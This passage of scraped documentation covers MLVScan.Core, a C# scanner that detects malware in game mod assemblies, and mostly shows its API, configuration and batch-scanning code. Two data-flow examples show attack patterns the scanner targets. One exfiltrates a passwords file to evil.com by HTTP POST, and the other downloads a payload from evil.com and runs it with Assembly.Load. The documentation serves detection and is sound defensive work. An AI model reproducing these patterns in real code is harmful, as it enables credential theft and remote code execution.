(findings.Any()) { results[modFile] = findings; } } catch (Exception ex) { Console.WriteLine($"Error scanning {modFile}: {ex.Message}"); } } return results; } ``` -------------------------------- ### Represent Security Findings with ScanFinding Source: https://context7.com/ifbars/mlvscan.core/llms.txt Illustrates the structure of a `ScanFinding` object, which represents a security vulnerability detected during assembly scanning. It includes details like location, severity, code snippets, and optional call/data flow chains. ```csharp using MLVScan.Models; // ScanFinding structure var finding = new ScanFinding( location: "MalwareClass.Execute", description: "Detected Process.Start call for command execution", severity: Severity.High, codeSnippet: "call System.Diagnostics.Process::Start" ); // Access finding properties Console.WriteLine($"Severity: {finding.Severity}"); // Low, Medium, High, Critical Console.WriteLine($"Location: {finding.Location}"); // Type/method location Console.WriteLine($"Description: {finding.Description}"); // What was detected Console.WriteLine($"Rule: {finding.RuleId}"); // Which rule triggered // Check for call chain (attack path visualization) if (finding.HasCallChain) { foreach (var node in finding.CallChain!.Nodes) { Console.WriteLine($" [{node.NodeType}] {node.Location}: {node.Description}"); } } // Check for data flow chain (multi-step attack pattern) if (finding.HasDataFlow) { Console.WriteLine($"Pattern: {finding.DataFlowChain!.Pattern}"); Console.WriteLine($"Confidence: {finding.DataFlowChain!.Confidence:P0}"); foreach (var node in finding.DataFlowChain!.Nodes) { Console.WriteLine($" [{node.NodeType}] {node.Operation} -> {node.DataDescription}"); } } ``` -------------------------------- ### Combine Call Chain Code Snippets (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Call-Graph-Analysis This C# code snippet demonstrates how to combine all code snippets from each node in a call chain, providing a complete view of the IL instructions involved. It requires the 'finding' object to have a 'CallChain' property. ```csharp if (finding.HasCallChain) { var snippet = finding.CallChain!.ToCombinedCodeSnippet(); Console.WriteLine(snippet); } ``` -------------------------------- ### Data Exfiltration (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis This snippet illustrates a data exfiltration pattern. It reads sensitive data from a file, encodes it (Base64), and then sends it over the network using an HTTP POST request. This is critical for stealing information. ```csharp // [SOURCE] Read sensitive file string data = File.ReadAllText(@"C:\\Users\\victim\\passwords.txt"); // [TRANSFORM] Encode for transmission byte[] encoded = Convert.ToBase64String(Encoding.UTF8.GetBytes(data)); // [SINK] Send to attacker httpClient.PostAsync("http://evil.com/collect", new ByteArrayContent(encoded)); ``` -------------------------------- ### DataFlowAnalyzerConfig Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Configuration options for the DataFlowAnalyzer, allowing customization of analysis behavior. ```APIDOC ## DataFlowAnalyzerConfig ### Description Configuration settings for the DataFlowAnalyzer to customize its behavior. ### Properties - **EnableCrossMethodAnalysis** (bool) - Default: `true` - Enable or disable cross-method data flow analysis. - **MaxCallChainDepth** (int) - Default: `5` - The maximum depth for analyzing call chains. Higher values increase analysis time. - **EnableReturnValueTracking** (bool) - Default: `true` - Enable or disable tracking of return values during analysis. ``` -------------------------------- ### Perform Batch Mod Scanning (C#) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Provides methods for scanning multiple mod files efficiently. Includes a sequential scanning approach with caching and a parallel scanning method for improved performance on large collections. Handles potential exceptions like `BadImageFormatException`. ```csharp using MLVScan; using MLVScan.Models; using MLVScan.Services; public class BatchScanner { private readonly AssemblyScanner _scanner; private readonly Dictionary> _cache = new(); public BatchScanner() { var rules = RuleFactory.CreateDefaultRules(); _scanner = new AssemblyScanner(rules); } // Sequential batch scanning with caching public Dictionary> ScanAllMods(string modsDirectory) { var results = new Dictionary>(); var modFiles = Directory.GetFiles(modsDirectory, "*.dll"); foreach (var modFile in modFiles) { try { var findings = _scanner.Scan(modFile).ToList(); if (findings.Any()) { results[modFile] = findings; } } catch (BadImageFormatException) { Console.WriteLine($"Not a valid .NET assembly: {modFile}"); } catch (Exception ex) { Console.WriteLine($"Error scanning {modFile}: {ex.Message}"); } } return results; } // Parallel scanning for large mod collections public Dictionary> ScanAllModsParallel(string modsDirectory) { var modFiles = Directory.GetFiles(modsDirectory, "*.dll"); var rules = RuleFactory.CreateDefaultRules(); return modFiles.AsParallel() .Select(file => new { File = file, Scanner = new AssemblyScanner(rules), Findings = (List?)null }) .Select(x => { try { return new { x.File, Findings = x.Scanner.Scan(x.File).ToList() }; } catch { return new { x.File, Findings = new List() }; } }) .Where(r => r.Findings.Any()) .ToDictionary(r => r.File, r => r.Findings); } } ``` -------------------------------- ### Add MLVScan.Core Reference in .csproj File Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Adds a reference to the MLVScan.Core NuGet package directly within the project's .csproj file. This is a declarative way to manage dependencies and is useful for version control. ```xml ``` -------------------------------- ### Return Value Tracking for Execution (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis This C# snippet demonstrates tracking data returned from a method for dangerous operations. The `GetMaliciousPayload` method downloads and decodes data, and its return value is then used by the `Execute` method to load an assembly. ```csharp private byte[] GetMaliciousPayload() { // [SOURCE] Download byte[] data = webClient.DownloadData("http://evil.com"); // [TRANSFORM] Decode return Convert.FromBase64String(Encoding.UTF8.GetString(data)); } public void Execute() { byte[] payload = GetMaliciousPayload(); // [SINK] Execute returned data Assembly.Load(payload); } ``` -------------------------------- ### ScanFinding Class for Representing Detections (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/API-Reference The ScanFinding class represents a single detection or finding during a scan. It includes details such as a description, severity level, location within the code, the relevant IL code snippet, a rule ID, and optional developer guidance and call chain information. ```csharp public class ScanFinding { public string Description { get; set; } public Severity Severity { get; set; } // Low, Medium, High, Critical public string Location { get; set; } // e.g., "MyClass::MyMethod" public string CodeSnippet { get; set; } // The actual IL instructions public string RuleId { get; set; } public IDeveloperGuidance? DeveloperGuidance { get; set; } public bool HasCallChain { get; } public CallChain? CallChain { get; set; } } ``` -------------------------------- ### Implement Custom Scanning Rule Interface (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/API-Reference Defines the contract for custom detection logic within MLVScan. Implementers must provide a description, severity, rule ID, and a method to determine if a given method contains a suspicious pattern. ```csharp public interface IScanRule { string Description { get; } Severity Severity { get; } string RuleId { get; } bool RequiresCompanionFinding { get; } IDeveloperGuidance? DeveloperGuidance { get; } // Return true if the method contains the pattern bool IsSuspicious(MethodReference method); // Analyze contextual patterns (optional, for advanced rules) IEnumerable AnalyzeContextualPattern( MethodReference method, Collection instructions, int instructionIndex, MethodSignals methodSignals); } ``` -------------------------------- ### Configure Assembly Scanner Behavior with ScanConfig Source: https://context7.com/ifbars/mlvscan.core/llms.txt Defines the configuration options for the MLVScan assembly scanner. This includes settings for multi-signal detection, metadata scanning, data flow analysis, recursive scanning, and developer mode. ```csharp using MLVScan.Models; using MLVScan.Services; var config = new ScanConfig { // Core options EnableMultiSignalDetection = true, // Context-aware analysis reduces false positives DetectAssemblyMetadata = true, // Scan assembly attributes for hidden payloads MinSeverityForDisable = Severity.Medium, // Analysis options AnalyzeExceptionHandlers = true, // Scan exception handlers AnalyzeLocalVariables = true, // Check local variable types as signals AnalyzePropertyAccessors = true, // Scan property/event accessors // Data flow analysis EnableCrossMethodAnalysis = true, // Track data across method boundaries MaxCallChainDepth = 5, // Call chain depth (higher = slower) EnableReturnValueTracking = true, // Track return value data flow // Recursive scanning EnableRecursiveResourceScanning = true, // Scan embedded resources as assemblies MaxRecursiveResourceSizeMB = 10, // Max embedded resource size to scan // Developer mode DeveloperMode = false // Show remediation guidance }; var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules, config); var findings = scanner.Scan("mod.dll"); ``` -------------------------------- ### Define Data Flow Analysis Configuration (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/API-Reference Configures the parameters for cross-method data flow analysis. It allows enabling/disabling cross-method analysis, setting the maximum call chain depth for thoroughness, and enabling return value tracking. ```csharp public class DataFlowAnalyzerConfig { // Enable cross-method data flow analysis public bool EnableCrossMethodAnalysis { get; set; } = true; // Maximum depth for call chain analysis (higher = more thorough but slower) public int MaxCallChainDepth { get; set; } = 5; // Enable return value tracking public bool EnableReturnValueTracking { get; set; } = true; } ```